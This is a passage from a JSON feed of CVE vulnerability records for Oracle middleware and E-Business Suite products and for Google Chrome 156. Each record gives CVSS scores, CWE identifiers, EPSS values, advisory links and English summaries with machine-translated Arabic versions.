(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91259","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:26Z","product":"Oracle Identity Manager","affected":[["12.2.1.4.0",null],["14.1.2.1.0",null]],"title":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI)."},"summary":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.1.0. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle Identity Manager. الهجمات الناجحة لهذه الثغرة يمكن أن تؤدي إلى السيطرة على Oracle Identity Manager. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات على السرية، السلامة، والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-identity-manager"},{"id":"CVE-2026-87363","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:14Z","product":"Oracle Payroll","affected":[["12.2.3 – 12.2.15",null]],"title":{"en":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).","ar":"ثغرة في منتج Oracle Payroll التابع لـ Oracle E-Business Suite (المكون: Internal Operations)."},"summary":{"en":"Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Payroll التابع لـ Oracle E-Business Suite (المكون: Internal Operations). الإصدارات المدعومة المتأثرة هي 12.2.3-12.2.15. تتيح ثغرة صعبة الاستغلال لمهاجم يملك صلاحيات منخفضة ولديه إمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle Payroll. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على Oracle Payroll. درجة الأساس حسب CVSS 3.1 هي 7.5 (تأثيرات على السرية والسلامة和التوافر). متجه CVSS: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-payroll"},{"id":"CVE-2026-87356","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:13Z","product":"Oracle Corporation Applications Platform Engineering","affected":[["12.2.3 – 12.2.15",null]],"title":{"en":"Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session).","ar":"ثغرة في منتج Applications Platform Engineering من Oracle E-Business Suite (المكون: Valid Session)."},"summary":{"en":"Vulnerability in the Applications Platform Engineering product of Oracle E-Business Suite (component: Valid Session). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications Platform Engineering executes to compromise Applications Platform Engineering. Successful attacks of this vulnerability can result in takeover of Applications Platform Engineering. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Applications Platform Engineering من Oracle E-Business Suite (المكون: Valid Session). الإصدارات المدعومة المتأثرة هي 12.2.3-12.2.15. تسمح ثغرة سهلة الاستغلإل لمهاجم ذي صلاحيات منخفضة مع تسجيل الدخول إلى البنية التحتية حيث يتم تنفيذ Applications Platform Engineering باختراق Applications Platform Engineering. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستيلاء على Applications Platform Engineering. درجات الأساس CVSS 3.1 هي 7.8 (تأثيرات السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-corporation-applications-platform-engineering"},{"id":"CVE-2026-87346","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:12Z","product":"Oracle Corporation Oracle HTTP Server","affected":[["12.2.1.4.0",null],["14.1.2.0.0",null]],"title":{"en":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server).","ar":"ثغرة في منتج Oracle HTTP Server التابع لـ Oracle Fusion Middleware (المكون: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server)."},"summary":{"en":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server. While the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server accessible data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","ar":"ثغرة في منتج Oracle HTTP Server التابع لـ Oracle Fusion Middleware (المكون: Oracle Weblogic Server Proxy Plug-in for Oracle HTTP Server). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.0.0. تتيح ثغرة يصعب استغلالها لمهاجم دون مصادقة يتمتع بإمكانية الوصول إلى الشبكة عبر HTTP اختراق Oracle HTTP Server. وعلى الرغم من أن الثغرة موجودة في Oracle HTTP Server، إلا أن الهجمات قد تؤثر بشكل كبير على منتجات إضافية (تغير النطاق). يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى الوصول غير المصرح به لإنشاء البيانات الحرجة أو حذفها أو تعديلها أو جميع البيانات التي يمكن الوصول إليها بواسطة Oracle HTTP Server، فضلاً عن الوصول غير المصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات التي يمكن الوصول إليها بواسطة Oracle HTTP Server. درجة CVSS 3.1 الأساسية 8.7 (تأثيرات السرية والسلامة). متجه CVSS: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-corporation-oracle-http-server"},{"id":"CVE-2026-83402","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:19:56Z","product":"Oracle Identity Manager","affected":[["12.2.1.4.0",null],["14.1.2.1.0",null]],"title":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI)."},"summary":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.1.0. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر بروتوكول HTTPS اختراق Oracle Identity Manager. الهجمات الناجحة لهذه الثغرة يمكن أن تؤدي إلى السيطرة على Oracle Identity Manager. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات على السرية، السلامة، والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-identity-manager"},{"id":"CVE-2026-83403","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:19:56Z","product":"Oracle Identity Manager","affected":[["12.2.1.4.0",null],["14.1.2.1.0",null]],"title":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI)."},"summary":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: OIM Legacy UI). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.1.0. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle Identity Manager. الهجمات الناجحة لهذه الثغرة يمكن أن تؤدي إلى السيطرة على Oracle Identity Manager. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات على السرية، السلامة، والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-identity-manager"},{"id":"CVE-2026-113343","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:29Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to poten","ar":"فشل في المصادقة ضمن Sandbox في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العارض باحتمال..."},"summary":{"en":"Incorrect authorization in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"سمح وجود تفويض غير صحيح في Sandbox ضمن متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد قام باختراق عملية العارض بتنفيذ شيفرة عشوائية محتملة خارج نطاق الحماية (Sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/502376419","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113344","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-754","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:29Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Improper state validation in Performance in Google Chrome prior to 156.0.8078.47 allowed a local attacker to read memory via a local program.","ar":"التحقق غير السليم من الحالة في Performance ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم محلي بقراءة الذاكرة عبر برنامج محلي."},"summary":{"en":"Improper state validation in Performance in Google Chrome prior to 156.0.8078.47 allowed a local attacker to read memory via a local program. (Chromium security severity: Medium)","ar":"التحقق غير السليم من الحالة في Performance ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم محلي بقراءة الذاكرة عبر برنامج محلي. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/561926123","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113335","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-367","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:28Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Race condition in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin poli","ar":"حالة سباق في Extensions ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمت لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سي..."},"summary":{"en":"Race condition in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"حالة سباق في Extensions ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمت لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب عبر إضافة Chrome مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/518055882","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113336","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:28Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a cra","ar":"استخدام الذاكرة بعد تحريرها في Compositing ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشو..."},"summary":{"en":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في Compositing ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية (Sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/569286604","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113337","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:28Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox vi","ar":"استخدام الذاكرة بعد تحريرها في Scroll ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد باحتمال تنفيذ شيفرة ع..."},"summary":{"en":"Use after free in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"استخدام الذاكرة بعد تحريرها في Scroll ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد باحتمال تنفيذ شيفرة عشوائية داخل نطاق الحماية (Sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/501680084","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113339","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:28Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a","ar":"استخدام الذاكرة بعد تحريرها في SVG ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد باحتمال تنفيذ شيفرة عشو..."},"summary":{"en":"Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في SVG ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد باحتمال تنفيذ شيفرة عشوائية داخل نطاق الحماية (Sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/572862424","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113342","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-250","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:28Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Privilege elevation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin po","ar":"تصعيد الصلاحيات في Network ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاو..."},"summary":{"en":"Privilege elevation in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","ar":"تصعيد الصلاحيات في Network ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/562024413","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113327","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to obta","ar":"قصور في المصادقة ضمن Chromecast في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد قام باختراق عملية العارض ب..."},"summary":{"en":"Missing authorization in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","ar":"قصور في المصادقة ضمن Chromecast في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد قام باختراق عملية العارض بالحصول على معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/513417142","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113328","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-668","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Improper resource exposure in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML","ar":"كشف غير سليم للموارد في Privacy ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتجاوز سياسة مصدر الويب عب..."},"summary":{"en":"Improper resource exposure in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","ar":"كشف غير سليم للموارد في Privacy ضمن Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة خصيصًا. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/518055862","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113330","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a local attacker to obtain cross-origin data via a","ar":"فشل في المصادقة ضمن CustomTabs في متصفح Google Chrome على نظام Android للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم محلي بالحصول على بيانات عابرة للمصادر عبر..."},"summary":{"en":"Incorrect authorization in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a local attacker to obtain cross-origin data via a co-installed app. (Chromium security severity: Low)","ar":"فشل في المصادقة ضمن CustomTabs في متصفح Google Chrome على نظام Android للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم محلي بالحصول على بيانات عابرة للمصادر عبر تطبيق مثبت بشكل مشترك. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/517320634","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113331","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-203","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Observable discrepancy in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to obtain sensitive","ar":"تناقض ملحوظ في Controls في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية للحصول على معلومات..."},"summary":{"en":"Observable discrepancy in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","ar":"تناقض ملحوظ في Controls في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية للحصول على معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/562993085","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113332","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Uninitialized resource in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read memor","ar":"مورد غير مهيأ في GPU في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بقراءة الذاكرة..."},"summary":{"en":"Uninitialized resource in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"مورد غير مهيأ في GPU في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بقراءة الذاكرة خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/517031871","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113334","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:27Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Buffer overflow in ANGLE in 